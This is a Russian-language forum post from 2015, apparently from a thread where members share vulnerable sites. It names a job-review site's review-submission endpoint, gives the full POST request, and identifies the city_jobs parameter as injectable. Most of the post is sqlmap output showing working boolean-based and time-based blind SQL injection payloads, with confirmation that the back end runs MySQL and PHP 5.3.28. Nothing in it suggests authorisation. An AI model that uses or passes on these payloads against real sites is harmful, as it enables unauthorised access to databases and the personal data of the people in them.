Показать сообщение отдельно

  #102  
Старый 23.05.2015, 05:12
kacergei
Новичок
Регистрация: 26.05.2007
Сообщений: 8
Провел на форуме:
23906

Репутация: -5
По умолчанию

.SpoilerTarget" type="button">Spoiler: Сайт
Сайт: https://www.badjobs.ru/savereview/

POST:

Код:
company=35135&security=f06d85943be1c7e76fa14c55f5097923&first_name=3287767&last_name=3947913&email=(не будет опубликована на сайте)&work_address=8194439&status=job&position=2095909&data_start_year=2015&data_end_year=2015&salary_start=3671772&salary_end=5211413&good=WCRTEXTAREATESTINPUT6708725&bad=WCRTEXTAREATESTINPUT9767053&data_start_month=0&data_end_month=0&perspective=1&boss=1&operating_conditions=1&soc_package=1&collective=1&city_jobs=1
Параметр: city_jobs
sqlmap:

Код:
---
Parameter: city_jobs (POST)
  Type: boolean-based blind
  Title: MySQL >= 5.0 boolean-based blind - Parameter replace
  Payload: company=35135&security=f06d85943be1c7e76fa14c55f5097923&first_name=3287767&last_name=3947913&email=(не будет опубликована на сайте)&work_address=8194439&status=job&position=2095909&data_start_year=2015&data_end_year=2015&salary_start=3671772&salary_end=5211413&good=WCRTEXTAREATESTINPUT6708725&bad=WCRTEXTAREATESTINPUT9767053&data_start_month=0&data_end_month=0&perspective=1&boss=1&operating_conditions=1&soc_package=1&collective=1&city_jobs=(SELECT (CASE WHEN (8743=8743) THEN 8743 ELSE 8743*(SELECT 8743 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))

  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
  Payload: company=35135&security=f06d85943be1c7e76fa14c55f5097923&first_name=3287767&last_name=3947913&email=(не будет опубликована на сайте)&work_address=8194439&status=job&position=2095909&data_start_year=2015&data_end_year=2015&salary_start=3671772&salary_end=5211413&good=WCRTEXTAREATESTINPUT6708725&bad=WCRTEXTAREATESTINPUT9767053&data_start_month=0&data_end_month=0&perspective=1&boss=1&operating_conditions=1&soc_package=1&collective=1&city_jobs=1 AND (SELECT * FROM (SELECT(SLEEP(5)))iqmj)
---
[06:49:55] [INFO] testing MySQL
[06:49:55] [INFO] confirming MySQL
[06:49:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL >= 5.0.0
 
Ответить с цитированием